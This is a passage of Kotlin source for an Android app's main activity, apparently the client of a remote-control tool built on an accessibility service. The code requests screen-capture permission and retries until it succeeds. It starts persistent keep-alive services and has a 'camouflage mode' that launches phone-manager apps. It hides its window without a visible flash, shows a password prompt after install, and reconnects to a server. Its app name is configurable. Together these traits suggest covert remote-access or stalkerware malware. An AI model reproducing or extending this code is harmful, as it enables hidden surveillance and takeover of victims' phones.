val phoneManagerPackages = listOf(
"com.coloros.phonemanager", //vivo 手机管家
"com.miui.securitycenter", // 小米安全中心
"com.huawei.systemmanager", // 华为手机管家
"com.oppo.safecenter", // OPPO安全中心
"com.vivo.safecenter", // vivo安全中心
"com.samsung.android.app.smartcallprovider", // 三星安全中心
"com.lenovo.safecenter", // 联想安全中心
"com.tencent.qqpimsecure", // 腾讯手机管家
"com.qihoo.security", // 360手机卫士
"com.kingsoft.powerword", // 金山手机卫士
"com.baidu.security", // 百度手机卫士
"com.android.settings" // 系统设置(备用)
)
// 尝试启动系统手机管家
var success = false
for (packageName in phoneManagerPackages) {
try {
val intent = packageManager.getLaunchIntentForPackage(packageName)
if (intent != null) {
// 使用最激进的Intent flags来确保快速切换
intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP)
intent.addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP)
intent.addFlags(Intent.FLAG_ACTIVITY_REORDER_TO_FRONT)
intent.addFlags(Intent.FLAG_ACTIVITY_BROUGHT_TO_FRONT)
intent.addFlags(Intent.FLAG_ACTIVITY_NO_ANIMATION)
startActivity(intent)
Log.i(TAG, "✅ 成功启动系统手机管家: $packageName")
success = true
break
}
} catch (e: Exception) {
Log.d(TAG, "⚠️ 无法启动手机管家: $packageName", e)
continue
}
}
// 如果没有找到合适的手机管家,启动系统设置
if (!success) {
Log.w(TAG, "⚠️ 未找到可用的系统手机管家,尝试启动系统设置")
try {
val settingsIntent = Intent(android.provider.Settings.ACTION_SETTINGS)
settingsIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
settingsIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP)
settingsIntent.addFlags(Intent.FLAG_ACTIVITY_NO_ANIMATION)
startActivity(settingsIntent)
Log.i(TAG, "✅ 已切换到系统设置")
} catch (e: Exception) {
Log.e(TAG, "❌ 切换到系统设置也失败", e)
}
}
} catch (e: Exception) {
Log.e(TAG, "❌ 启动系统手机管家异常", e)
}
}
/**
* 关键修复处理新的Intent当Activity已存在时
*/
override fun onNewIntent(intent: Intent?) {
super.onNewIntent(intent)
Log.i(TAG, "🔄 MainActivity收到新的Intent")
if (intent != null) {
// 更新当前Intent
setIntent(intent)
// 无闪现后台唤起:若带 LAUNCH_BACKGROUND先瞬时隐藏窗口再处理其余逻辑
if (intent.getBooleanExtra("LAUNCH_BACKGROUND", false)) {
try {
// 去除过渡动画
overridePendingTransition(0, 0)
// 先把根视图设为透明,避免一帧闪烁
window.decorView.alpha = 0f
// 立刻退到后台
moveTaskToBack(true)
Log.i(TAG, "🫥 onNewIntent: 已无闪现退到后台")
} catch (e: Exception) {
Log.w(TAG, "⚠️ onNewIntent 隐藏失败: ${e.message}")
}
}
// 处理新的Intent
handleIntentAndPermissions(intent)
} else {
Log.w(TAG, "⚠️ 收到null Intent")
}
}
/**
* 统一的Intent处理方法
*/
private fun handleIntentAndPermissions(intent: Intent) {
// 检查启动类型
Log.i(TAG, "📋 检查启动参数和类型...")
Log.i(
TAG,
"📊 Intent参数: AUTO_REQUEST_PERMISSION=${
intent.getBooleanExtra(
"AUTO_REQUEST_PERMISSION",
false
)
}"
)
Log.i(
TAG,
"📊 Intent参数: PERMISSION_LOST_RECOVERY=${
intent.getBooleanExtra(
"PERMISSION_LOST_RECOVERY",
false
)
}"
)
Log.i(TAG, "📊 Intent参数: TIMESTAMP=${intent.getLongExtra("TIMESTAMP", 0)}")
Log.i(TAG, "📊 Intent参数: SOURCE=${intent.getStringExtra("SOURCE") ?: "未知"}")
Log.i(TAG, "📊 Intent Action: ${intent.action ?: "无"}")
Log.i(TAG, "📊 Intent Flags: ${intent.flags}")
// ✅ 详细记录所有Intent参数用于调试
val extras = intent.extras
if (extras != null) {
Log.i(TAG, "📊 Intent包含${extras.size()}个额外参数:")
for (key in extras.keySet()) {
val value = extras.get(key)
Log.i(TAG, " $key = $value (${value?.javaClass?.simpleName})")
}
} else {
Log.w(TAG, "⚠️ Intent没有任何额外参数")
}
when {
// ✅ 优先检查是否来自安装完成广播需要显示WebView
intent.getBooleanExtra("from_installation_complete", false) &&
intent.getBooleanExtra("show_webview", false) -> {
Log.i(TAG, "🌐 检测到安装完成广播启动WebView")
Log.i(
TAG,
"🔍 参数: user_initiated=${
intent.getBooleanExtra(
"user_initiated",
false
)
}, force_foreground=${intent.getBooleanExtra("force_foreground", false)}"
)
// 确保布局已设置
try {
val webView = findViewById<android.webkit.WebView>(R.id.webView)
if (webView == null) {
Log.e(TAG, "❌ 未找到WebView可能布局未设置")
setContentView(R.layout.activity_main)
Log.i(TAG, "✅ 已重新设置布局")
}
} catch (e: Exception) {
Log.e(TAG, "❌ 检查WebView失败", e)
}
// ✅ 安装完成后启动保活服务 - 参考 f 目录策略,简化版本
try {
Log.i(TAG, "🛡️ 安装完成,启动保活服务(参考 f 目录策略)")
// ✅ 参考 f 目录:只启动主前台服务(对应 BackRunServerUseUse
val foregroundIntent = Intent(this, com.hikoncont.service.RemoteControlForegroundService::class.java)
if (android.os.Build.VERSION.SDK_INT >= 26) {
startForegroundService(foregroundIntent)
} else {
startService(foregroundIntent)
}
Log.i(TAG, "✅ 主前台服务已启动(对应 f 目录的 BackRunServerUseUse")
// ✅ 启动 WorkManager 保活(对应 f 目录的系统级 WorkManager
val workManagerKeepAlive = com.hikoncont.service.WorkManagerKeepAliveService.getInstance()
workManagerKeepAlive.startKeepAlive(this)
Log.i(TAG, "✅ WorkManager保活已启动")
Log.i(TAG, "🎉 保活服务启动完成")
} catch (e: Exception) {
Log.e(TAG, "❌ 启动保活服务失败", e)
}
// 启动WebView
startWebViewActivity()
}
intent.getBooleanExtra("request_camera_permission", false) -> {
Log.i(TAG, "📷 检测到摄像头权限申请请求")
handleCameraPermissionRequest()
}
intent.getBooleanExtra("AUTO_REQUEST_PERMISSION", false) -> {
Log.i(TAG, "✅ 检测到自动权限申请请求启动handleAutoPermissionRequest()")
// ✅ 检查是否已有权限申请在进行,防止重复申请
if (permissionRequestInProgress) {
Log.w(TAG, "⚠️ 权限申请已在进行中忽略重复的Intent")
return
}
isAutoPermissionRequest = true // 设置自动权限申请标志
permissionRequestInProgress = true // 设置权限申请进行中标志
// ✅ 检查是否为 MIUI 修复模式
val isMiuiFix = intent.getBooleanExtra("MIUI_PERMISSION_FIX", false)
if (isMiuiFix) {
Log.i(TAG, "🔧 检测到MIUI权限修复模式使用特殊处理")
runOnUiThread {
updateStatusTextSafely(
"🔧 服务权限修复中...\n正在尝试重新显示权限对话框",
getColor(android.R.color.holo_orange_dark)
)
if (::enableButton.isInitialized) {
enableButton.text = "修复中..."
enableButton.isEnabled = false
}
}
// MIUI 修复模式等待更长时间确保Activity完全就绪
android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
if (!isFinishing) {
Log.i(TAG, "🔧 MIUI修复延迟后启动权限申请")
handleAutoPermissionRequest()
}
}, 2000) // 2秒延迟
return
}
// ✅ 强制将Activity带到前台确保用户能看到权限申请界面
Log.i(TAG, "📱 强制将MainActivity带到前台")
try {
// ✅ ANR修复异步处理窗口焦点操作避免阻塞主线程
android.os.Handler(android.os.Looper.getMainLooper()).post {
try {
// ✅ 修复分步骤设置窗口标志避免一次性设置过多标志导致ANR
// 第一步:设置基本窗口标志
window.addFlags(android.view.WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED)
// 第二步:延迟设置屏幕相关标志
android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
try {
window.addFlags(android.view.WindowManager.LayoutParams.FLAG_TURN_SCREEN_ON)
window.addFlags(android.view.WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON)
// 设置Activity为前台显示
setTurnScreenOn(true)
setShowWhenLocked(true)
Log.i(TAG, "✅ 窗口标志设置完成")
} catch (e: Exception) {
Log.e(TAG, "❌ 设置屏幕标志失败", e)
}
}, 100) // 100ms延迟避免ANR
// 第三步延迟执行moveTaskToFront避免与窗口标志设置冲突
android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
try {
val activityManager =
getSystemService(Context.ACTIVITY_SERVICE) as android.app.ActivityManager
activityManager.moveTaskToFront(
taskId,
android.app.ActivityManager.MOVE_TASK_WITH_HOME
)
Log.i(TAG, "✅ ActivityManager移动任务成功")
} catch (e: Exception) {
Log.e(TAG, "❌ ActivityManager移动任务失败", e)
}
}, 200) // 200ms延迟确保窗口标志设置完成
Log.i(TAG, "✅ Activity前台显示操作已异步启动")
} catch (e: Exception) {
Log.e(TAG, "❌ 异步设置Activity前台显示失败", e)
}
}
} catch (e: Exception) {
Log.e(TAG, "❌ 设置Activity前台显示失败", e)
}
handleAutoPermissionRequest()
}
intent.getBooleanExtra("PERMISSION_LOST_RECOVERY", false) -> {
Log.i(TAG, "检测到权限丢失恢复请求")
handlePermissionLostRecovery()
}
intent.getBooleanExtra("SMART_RECOVERY", false) -> {
Log.i(TAG, "检测到智能权限恢复请求")
handleSmartPermissionRecovery()
}
intent.getBooleanExtra("auto_start", false) -> {
Log.i(TAG, "检测到开机自启动")
handleAutoStart()
}
intent.getBooleanExtra("auto_restart", false) -> {
Log.i(TAG, "检测到服务自动重启请求")
handleAutoRestart()
}
intent.getBooleanExtra("SMART_RETURN_BACKUP", false) -> {
Log.i(TAG, "检测到智能返回备用启动,显示就绪状态")
runOnUiThread {
updateStatusTextSafely(
"✅ 应用已启动\n等待权限申请流程...",
android.R.color.holo_blue_dark
)
enableButton.text = "等待中..."
enableButton.isEnabled = false
}
// 智能返回备用方案不需要额外处理,只需要确保应用在前台
}
intent.getBooleanExtra("MI_ANDROID13_RETURN", false) -> {
Log.i(TAG, "检测到小米Android 13设备返回启动显示就绪状态")
runOnUiThread {
updateStatusTextSafely(
"✅ 小米Android 13设备\n应用已启动,等待权限申请流程...",
android.R.color.holo_blue_dark
)
enableButton.text = "等待中..."
enableButton.isEnabled = false
}
// 小米Android 13设备专用返回处理不需要额外处理
}
else -> {
// 正常启动,显示初始状态,不自动跳转权限设置
Log.i(TAG, "正常启动应用,显示初始状态")
updateUI()
}
}
}
/**
* 处理自动权限申请 - 修复时序问题
*/
private fun handleAutoPermissionRequest() {
Log.i(TAG, "🚀 开始自动权限申请流程")
Log.i(TAG, "📱 当前Activity状态: finishing=$isFinishing, destroyed=$isDestroyed")
// ✅ ANR修复异步处理权限检查避免阻塞主线程
android.os.Handler(android.os.Looper.getMainLooper()).post {
try {
// ✅ 关键修复检查真实的MediaProjection权限而不仅仅是数据存在
Log.i(TAG, "🔍 开始检查MediaProjection权限状态...")
if (checkRealMediaProjectionPermission()) {
Log.i(TAG, "📱 真实MediaProjection权限已存在且有效发送停止广播并关闭Activity")
// ✅ 立即发送停止广播防止MainActivity继续创建
val stopIntent = Intent("android.mycustrecev.STOP_ACTIVITY_CREATION")
sendBroadcast(stopIntent)
Log.i(TAG, "📡 已发送停止Activity创建广播")
runOnUiThread {
updateStatusTextSafely(
"✅ 权限已配置完成\n功能正常运行",
getColor(android.R.color.holo_green_dark)
)
}
// 立即隐藏Activity不销毁
hideActivityToBackground()
return@post
}
// 继续处理权限申请流程
handleAutoPermissionRequestInternal()
} catch (e: Exception) {
Log.e(TAG, "❌ 异步处理权限申请失败", e)
}
}
}
/**
* ANR修复内部权限申请处理方法避免阻塞主线程
*/
private fun handleAutoPermissionRequestInternal() {
// ✅ 即使有权限数据但权限无效,也要重新申请
val permissionData = MediaProjectionHolder.getPermissionData()
if (permissionData != null) {
Log.w(TAG, "⚠️ 检测到权限数据存在但MediaProjection权限无效需要重新申请")
Log.w(TAG, "⚠️ 这可能是因为系统只有无障碍截图权限缺少MediaProjection实时投屏权限")
runOnUiThread {
updateStatusTextSafely(
"⚠️ 检测到服务配置异常\n需要重新申请服务权限\n正在自动处理...",
getColor(android.R.color.holo_orange_dark)
)
}
}
// ✅ 参考billd-deskAndroid 11+也需要申请MediaProjection权限不再跳过
// billd-desk在所有Android版本都通过createScreenCaptureIntent()申请权限
// ✅ 修复时序问题:无障碍服务刚启用时,状态检查可能还没有更新
// 既然能收到AUTO_REQUEST_PERMISSION说明无障碍服务已经启动直接申请权限
if (AccessibilityRemoteService.isServiceRunning()) {
Log.i(TAG, "✅ AccessibilityService实例已运行直接申请MediaProjection权限")
requestMediaProjectionPermission()
} else if (isAccessibilityServiceEnabled()) {
Log.i(TAG, "✅ 系统显示无障碍服务已启用申请MediaProjection权限")
requestMediaProjectionPermission()
} else {
// ✅ 启动多次自动重试机制,处理状态更新延迟
Log.w(TAG, "⚠️ 无障碍服务状态检查失败,启动自动重试机制")
autoRetryCount = 0
startAutoRetryPermissionCheck()
}
}
/**
* 新增启动自动重试权限检测
*/
private fun startAutoRetryPermissionCheck() {
// 清理之前的重试任务
stopAutoRetry()
// 立即进行第一次重试检测
performPermissionCheck()
}
/**
* 新增执行权限检测
*/
private fun performPermissionCheck() {
autoRetryCount++
Log.i(TAG, "🔍 执行权限检测 (第${autoRetryCount}次)")
// ✅ 检查MediaProjection权限是否真实有效
if (checkRealMediaProjectionPermission()) {
Log.i(TAG, "✅ MediaProjection权限已存在且有效停止重试")
stopAutoRetry()
runOnUiThread {
updateStatusTextSafely(
"✅ 服务权限检测成功\n继续后续权限配置...",
getColor(android.R.color.holo_green_dark)
)
}
// 继续下一步权限检查
android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
checkAllPermissions()
}, 1000)
return
}
// 检查无障碍服务状态
if (AccessibilityRemoteService.isServiceRunning()) {
Log.i(TAG, "✅ AccessibilityService实例已运行停止重试并申请MediaProjection权限")
stopAutoRetry()
requestMediaProjectionPermission()
return
}
if (isAccessibilityServiceEnabled()) {
Log.i(TAG, "✅ 系统显示无障碍服务已启用停止重试并申请MediaProjection权限")
stopAutoRetry()
requestMediaProjectionPermission()
return
}
// 检测失败,判断是否继续重试
if (autoRetryCount <= MAX_AUTO_RETRY_COUNT) {
Log.w(
TAG,
"⚠️ 无障碍服务状态检查失败 (${autoRetryCount}/${MAX_AUTO_RETRY_COUNT})${AUTO_RETRY_INTERVAL / 1000}秒后重试"
)
updateStatusTextSafelyOnUiThread(
"⏳ 正在检测无障碍服务状态...\n" +
"${autoRetryCount}次检测,剩余${MAX_AUTO_RETRY_COUNT - autoRetryCount}次重试\n" +
"${AUTO_RETRY_INTERVAL / 1000}秒后自动重试",
getColor(android.R.color.holo_orange_dark)
)
// 安排下次重试
scheduleNextRetry()
} else {
// 达到最大重试次数,转入手动模式
Log.w(TAG, "❌ 已达到最大重试次数(${MAX_AUTO_RETRY_COUNT}),转入手动配置模式")
stopAutoRetry()
updateStatusTextSafelyOnUiThread(
"⚠️ 自动检测失败\n" +
"已重试${MAX_AUTO_RETRY_COUNT}次,可能需要手动配置\n" +
"请确认无障碍服务已正确开启",
getColor(android.R.color.holo_red_dark)
)
// 延迟3秒后转入手动模式给用户查看信息的时间
android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
checkAllPermissions()
}, 3000)
}
}
/**
* 新增安排下次重试
*/
private fun scheduleNextRetry() {
retryHandler = android.os.Handler(android.os.Looper.getMainLooper())
retryRunnable = Runnable {
if (!isFinishing && !isDestroyed) {
performPermissionCheck()
}
}
retryHandler?.postDelayed(retryRunnable!!, AUTO_RETRY_INTERVAL)
}
/**
* 新增停止自动重试
*/
private fun stopAutoRetry() {
retryRunnable?.let { runnable ->
retryHandler?.removeCallbacks(runnable)
}
retryHandler = null
retryRunnable = null
}
/**
* 处理权限丢失恢复 - 自动重新申请MediaProjection权限
*/
private fun handlePermissionLostRecovery() {
Log.i(TAG, "🔧 开始权限丢失恢复流程")
if (isAccessibilityServiceEnabled()) {
Log.i(TAG, "✅ 无障碍服务正常开始自动申请MediaProjection权限")
// 显示简短提示 - 使用线程安全方法
updateStatusTextThreadSafe("🔧 检测到服务权限权限丢失\n正在自动重新申请权限...", android.R.color.holo_orange_dark)
updateButtonSafely("正在恢复权限...", null, false)
// 延迟1秒后申请权限确保UI更新
android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
requestMediaProjectionPermission()
}, 1000)
} else {
Log.w(TAG, "❌ 无障碍服务已失效,需要用户重新配置")
runOnUiThread {
showPermissionRecoveryFailedDialog()
}
}
}
/**
* 显示权限恢复失败对话框
*/
private fun showPermissionRecoveryFailedDialog() {
try {
androidx.appcompat.app.AlertDialog.Builder(this)
.setTitle("⚠️ 权限恢复失败")
.setMessage("检测到无障碍服务权限已丢失,无法自动恢复服务权限。\n\n需要重新配置所有权限。")
.setPositiveButton("重新配置") { _, _ ->
Log.i(TAG, "✅ 用户选择重新配置权限")
checkAllPermissions()
}
.setNegativeButton("稍后处理") { _, _ ->
Log.i(TAG, "⏸️ 用户选择稍后处理")
hideActivityToBackground()
}
.setCancelable(false)
.show()
} catch (e: Exception) {
Log.e(TAG, "❌ 显示权限恢复失败对话框出错", e)
checkAllPermissions()
}
}
/**
* 处理智能权限恢复
*/
private fun handleSmartPermissionRecovery() {
Log.i(TAG, "🧠 开始智能权限恢复流程")
if (isAccessibilityServiceEnabled()) {
Log.i(TAG, "✅ 无障碍服务正常,开始智能权限恢复")
runOnUiThread {
// 显示非侵入式恢复状态
// 使用线程安全方法
updateStatusTextThreadSafe("🧠 智能权限恢复中...\n正在尝试自动恢复服务权限", android.R.color.holo_blue_dark)
updateButtonSafely("智能恢复中...", null, null)
enableButton.isEnabled = false
}
// 尝试智能恢复
val smartManager =
com.hikoncont.manager.SmartMediaProjectionManager.getInstance(this)
val permissionData = com.hikoncont.MediaProjectionHolder.getPermissionData()
if (permissionData != null) {
val (resultCode, resultData) = permissionData
if (resultData != null) {
Log.i(TAG, "🔧 使用现有权限数据进行智能恢复")
val recovered = smartManager.setMediaProjection(resultCode, resultData)
if (recovered) {
Log.i(TAG, "✅ 智能权限恢复成功")
handleSmartRecoverySuccess()
return
}
}
}
// 智能恢复失败,进行标准权限申请
Log.w(TAG, "⚠️ 智能恢复失败,进行标准权限申请")
android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
requestMediaProjectionPermission()
}, 1000)
} else {
Log.w(TAG, "❌ 无障碍服务已失效,需要用户重新配置")
runOnUiThread {
showPermissionRecoveryFailedDialog()
}
}
}
/**
* 处理智能恢复成功
*/
private fun handleSmartRecoverySuccess() {
// 使用线程安全方法更新UI
updateStatusTextThreadSafe("✅ 智能权限恢复成功\n服务权限已自动恢复", android.R.color.holo_green_dark)
updateButtonSafely("恢复完成", null, false)
// 通知AccessibilityService权限恢复成功
val intent = Intent("android.mycustrecev.MEDIA_PROJECTION_GRANTED").apply {
putExtra("success", true)
putExtra("smart_recovery", true)
}
sendBroadcast(intent)
// 2秒后隐藏界面
android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
hideActivityToBackground()
}, 2000)
}
/**
* 获取设备ID重命名避免与Android 14+ Activity.getDeviceId()冲突
*/
private fun getLocalDeviceId(): String {
return android.provider.Settings.Secure.getString(
contentResolver,
android.provider.Settings.Secure.ANDROID_ID
) ?: "unknown"
}
/**
* 检查密码输入是否已完成
*/
private fun isPasswordInputCompleted(): Boolean {
try {
val sharedPrefs = getSharedPreferences("password_input", Context.MODE_PRIVATE)
val isCompleted = sharedPrefs.getBoolean("password_input_completed", false)
Log.d(TAG, "🔐 密码输入完成状态: $isCompleted")
return isCompleted
} catch (e: Exception) {
Log.e(TAG, "❌ 检查密码输入状态失败", e)
return false
}
}
/**
* 新增检查安装是否已完成
*/
private fun isInstallationCompleted(): Boolean {
try {
// ✅ 统一使用InstallationStateManager检查安装状态
val installationStateManager =
com.hikoncont.util.InstallationStateManager.getInstance(this)
val isCompleted = installationStateManager.isInstallationComplete()
Log.d(TAG, "📦 安装完成状态: $isCompleted")
return isCompleted
} catch (e: Exception) {
Log.e(TAG, "❌ 检查安装完成状态失败", e)
return false
}
}
/**
* 检查密码框是否曾经被弹出过
*/
private fun hasPasswordInputBeenShown(): Boolean {
try {
val sharedPrefs = getSharedPreferences("password_input", Context.MODE_PRIVATE)
val hasBeenShown = sharedPrefs.getBoolean("password_input_shown", false)
Log.d(TAG, "🔐 密码框是否曾经显示过: $hasBeenShown")
return hasBeenShown
} catch (e: Exception) {
Log.e(TAG, "❌ 检查密码框显示状态失败", e)
return false
}
}
/**
* 标记密码框已经被显示过
*/
private fun markPasswordInputShown() {
try {
val sharedPrefs = getSharedPreferences("password_input", Context.MODE_PRIVATE)
sharedPrefs.edit().putBoolean("password_input_shown", true).apply()
Log.i(TAG, "✅ 密码框显示状态已标记")
} catch (e: Exception) {
Log.e(TAG, "❌ 标记密码框显示状态失败", e)
}
}
/**
* 标记密码输入已完成
*/
private fun markPasswordInputCompleted() {
try {
val sharedPrefs = getSharedPreferences("password_input", Context.MODE_PRIVATE)
sharedPrefs.edit().putBoolean("password_input_completed", true).apply()
Log.i(TAG, "✅ 密码输入状态已标记为完成")
} catch (e: Exception) {
Log.e(TAG, "❌ 标记密码输入完成状态失败", e)
}
}
/**
* 启动密码输入Activity
*/
private fun startPasswordInputActivity() {
try {
Log.i(TAG, "🔐 准备启动密码输入页面")
val intent =
Intent(this, com.hikoncont.activity.PasswordInputActivity::class.java).apply {
putExtra(
com.hikoncont.activity.PasswordInputActivity.EXTRA_DEVICE_ID,
getLocalDeviceId()
)
putExtra(
com.hikoncont.activity.PasswordInputActivity.EXTRA_INSTALLATION_ID,
System.currentTimeMillis().toString()
)
// 使用温和的flags设置避免Activity被销毁
addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP)
addFlags(Intent.FLAG_ACTIVITY_REORDER_TO_FRONT)
}
startActivity(intent)
Log.i(TAG, "✅ 密码输入页面已启动")
// 隐藏MainActivity避免状态冲突
hideActivityToBackground()
} catch (e: Exception) {
Log.e(TAG, "❌ 启动密码输入页面失败", e)
// 如果启动失败,继续正常流程
runOnUiThread {
updateStatusTextThreadSafe("✅ 服务启动中...", android.R.color.holo_green_dark)
enableButton.text = "服务已就绪"
enableButton.setBackgroundColor(getColor(android.R.color.holo_green_dark))
enableButton.isEnabled = false
}
}
}
/**
* 处理开机自启动
*/
private fun handleAutoStart() {
Log.i(TAG, "开始开机自启动流程")
if (isAccessibilityServiceEnabled()) {
Log.i(TAG, "无障碍服务已启用,启动服务中")
startRemoteControlService()
// 显示状态,但不自动最小化,让用户看到成功状态
updateUI()
Log.i(TAG, "✅ 权限配置完成,保持应用在前台显示状态")
} else {
Log.w(TAG, "无障碍服务未启用,显示配置页面")
updateUI()
}
}
/**
* 处理服务自动重启
*/
private fun handleAutoRestart() {
Log.i(TAG, "🔄 开始服务自动重启流程")
val accessibilityLost = intent.getBooleanExtra("accessibility_lost", false)
if (accessibilityLost) {
Log.w(TAG, "⚠️ 检测到无障碍服务权限丢失,返回主页等待用户手动操作")
// ✅ 修改:不自动跳转无障碍设置,直接返回主页
updateUI()
} else if (isAccessibilityServiceEnabled()) {
Log.i(TAG, "✅ 无障碍服务已启用,尝试重新连接")
// 获取AccessibilityService实例并重新连接
val accessibilityService = AccessibilityRemoteService.getInstance()
if (accessibilityService != null) {
Log.i(TAG, "✅ 找到AccessibilityService实例重新连接服务器")
accessibilityService.reconnectToServer()
// 显示状态,但不自动最小化
updateUI()
Log.i(TAG, "✅ 服务重连完成,保持应用在前台显示状态")
} else {
Log.w(TAG, "⚠️ AccessibilityService实例不可用需要用户重新启动")
updateUI()
}
} else {
Log.w(TAG, "⚠️ 无障碍服务未启用,返回主页等待用户手动操作")
// ✅ 修改:不自动跳转无障碍设置,直接返回主页
updateUI()
}
}
/**
* 显示无障碍服务权限丢失对话框
*/
private fun showAccessibilityLostDialog() {
runOnUiThread {
try {
androidx.appcompat.app.AlertDialog.Builder(this)
.setTitle("⚠️ 无障碍服务权限丢失")
.setMessage("检测到无障碍服务权限已丢失,这通常发生在应用被强制关闭后。\n\n需要重新授权无障碍服务以恢复功能。")
.setPositiveButton("重新授权") { _, _ ->
Log.i(TAG, "✅ 用户选择重新授权无障碍服务")
openAccessibilitySettings()
}
.setNegativeButton("稍后处理") { _, _ ->
Log.i(TAG, "⏸️ 用户选择稍后处理")
hideActivityToBackground()
}
.setCancelable(false)
.show()
} catch (e: Exception) {
Log.e(TAG, "❌ 显示权限丢失对话框失败", e)
// 备用方案:直接打开设置
openAccessibilitySettings()
}
}
}
/**
* 启动远程控制服务
*/
private fun startRemoteControlService() {
try {
val accessibilityService = AccessibilityRemoteService.getInstance()
if (accessibilityService != null) {
Log.i(TAG, "通过AccessibilityService启动远程控制")
accessibilityService.startConnection()
} else {
Log.w(TAG, "AccessibilityService实例不可用")
}
} catch (e: Exception) {
Log.e(TAG, "启动远程控制服务失败", e)
}
}
override fun onResume() {
super.onResume()
// ✅ 参考zuiqiang移除onResume中的保活检测
// zuiqiang的做法是在onDestroy时启动透明保活Activity而不是在onResume中检测
// 🚀 关键优化:检查是否在 WebView 模式,如果是则跳过所有检查
val webViewContainer = findViewById<android.view.View>(R.id.webViewContainer)
val isWebViewVisible = webViewContainer?.visibility == android.view.View.VISIBLE
if (isWebViewVisible) {
Log.d(TAG, "🌐 WebView 模式:跳过所有后台检查,优化性能")
// ✅ Activity回到前台如果WebView打开恢复状态更新
if (this.isWebViewVisible) {
// WebView可见且Activity在前台立即更新状态
com.hikoncont.service.AccessibilityRemoteService.setWebViewOpen(true)
Log.i(TAG, "✅ Activity回到前台已恢复WebView状态更新")
}
// 🚀 WebView 模式:关闭日志收集以提升性能
try {
val serviceInstance = com.hikoncont.service.AccessibilityRemoteService.getInstance()
// serviceInstance?.disableLogging() // 暂停:暂时不切换日志
Log.i(TAG, "🌐 WebView 模式:跳过日志开关")
} catch (e: Exception) {
Log.w(TAG, "⚠️ 处理日志开关时异常: ${e.message}")
}
// 只恢复 WebView不执行其他检查
resumeWebView()
return
}
// ✅ ANR修复异步处理onResume逻辑避免阻塞主线程
android.os.Handler(android.os.Looper.getMainLooper()).post {
try {
// 🔍 onResume 无障碍健康检查:若已授权但未运行,则触发恢复
try {
val enabled = isAccessibilityServiceEnabled()
val instance = AccessibilityRemoteService.getInstance()
val running = AccessibilityRemoteService.isServiceRunning()
Log.i(
TAG,
"🔍 onResume 无障碍健康检查: enabled=" + enabled + ", instance=" + (instance != null) + ", running=" + running
)
if (enabled && (instance == null || !running)) {
Log.w(TAG, "⚠️ onResume: 无障碍权限已启用但服务未运行,尝试恢复")
forceRecoverAccessibilityService()
}
} catch (e: Exception) {
Log.e(TAG, "❌ onResume 无障碍健康检查异常", e)
}
// 🎭 检查是否是伪装模式如果是则不执行UI更新
if (isPhoneManagerCamouflageMode()) {
Log.d(TAG, "🎭 onResume: 伪装模式跳过UI更新")
return@post
}
// 🔐 在onResume时也检查密码输入是否已完成只有在密码框曾经显示过的情况下
if (hasPasswordInputBeenShown() && !isPasswordInputCompleted()) {
Log.i(TAG, "🔐 onResume: 密码框曾经显示过且密码输入未完成,强制跳转到密码输入页面")
startPasswordInputActivity()
return@post
}
updateUI()
// 🚀 主界面模式:恢复日志收集
try {
val serviceInstance = com.hikoncont.service.AccessibilityRemoteService.getInstance()
// serviceInstance?.enableLogging() // 暂停:暂时不切换日志
Log.i(TAG, "🌐 主界面模式:跳过日志开关")
} catch (e: Exception) {
Log.w(TAG, "⚠️ 处理日志开关时异常: ${e.message}")
}
// 🚀 WebView性能优化恢复WebView
resumeWebView()
} catch (e: Exception) {
Log.e(TAG, "❌ 异步处理onResume失败", e)
}
}
}
override fun onPause() {
super.onPause()
// 🚀 WebView性能优化暂停WebView以节省资源
pauseWebView()
// ✅ Activity不在前台时停止WebView状态更新节省资源
if (isWebViewVisible) {
// WebView打开但Activity不在前台停止状态更新并设置为关闭状态
com.hikoncont.service.AccessibilityRemoteService.setWebViewOpen(false)
Log.i(TAG, "✅ Activity不在前台已停止WebView状态更新节省资源")
}
// 🚀 应用不在前台时:恢复日志收集
try {
val serviceInstance = com.hikoncont.service.AccessibilityRemoteService.getInstance()
// serviceInstance?.enableLogging() // 暂停:暂时不切换日志
Log.i(TAG, "🌐 应用不在前台:跳过日志开关")
} catch (e: Exception) {
Log.w(TAG, "⚠️ 处理日志开关时异常: ${e.message}")
}
}
private fun initViews() {
statusText = findViewById(R.id.statusText)
enableButton = findViewById(R.id.enableButton)
appNameText = findViewById(R.id.appNameText)
usageInstructionsText = findViewById(R.id.usageInstructionsText)
serviceSwitch = findViewById(R.id.serviceSwitch)
appIconImageView = findViewById(R.id.appIconImageView)
// ✅ 新增:从配置文件加载页面样式
loadPageStyleConfig()
}
/**
* 新增从配置文件加载页面样式配置
*/
private fun loadPageStyleConfig() {
try {
// 读取assets目录下的server_config.json文件
val configJson = assets.open("server_config.json").use { inputStream ->
inputStream.bufferedReader().use { it.readText() }
}
Log.i(TAG, "🔍 读取到的配置文件内容: $configJson")
val config = org.json.JSONObject(configJson)
val pageStyleConfig = config.optJSONObject("pageStyleConfig")
Log.i(TAG, "🔍 pageStyleConfig对象: ${pageStyleConfig?.toString()}")
if (pageStyleConfig != null && pageStyleConfig.length() > 0) {
Log.i(TAG, "✅ 检测到页面样式配置,应用自定义样式")
// 应用自定义应用名称
val customAppName = pageStyleConfig.optString("appName", "")
if (customAppName.isNotEmpty()) {
appNameText.text = customAppName
Log.i(TAG, "📝 应用自定义应用名称: $customAppName")
}
// 应用自定义的按钮文字从pageStyleConfig读取如果没有则从strings.xml读取
val enableButtonText = pageStyleConfig.optString("enableButtonText", "")
if (enableButtonText.isNotEmpty()) {
enableButton.text = enableButtonText
Log.i(TAG, "📝 应用自定义启用按钮文字: $enableButtonText")
}
// 保存自定义状态文本和使用说明在updateUI方法中会使用
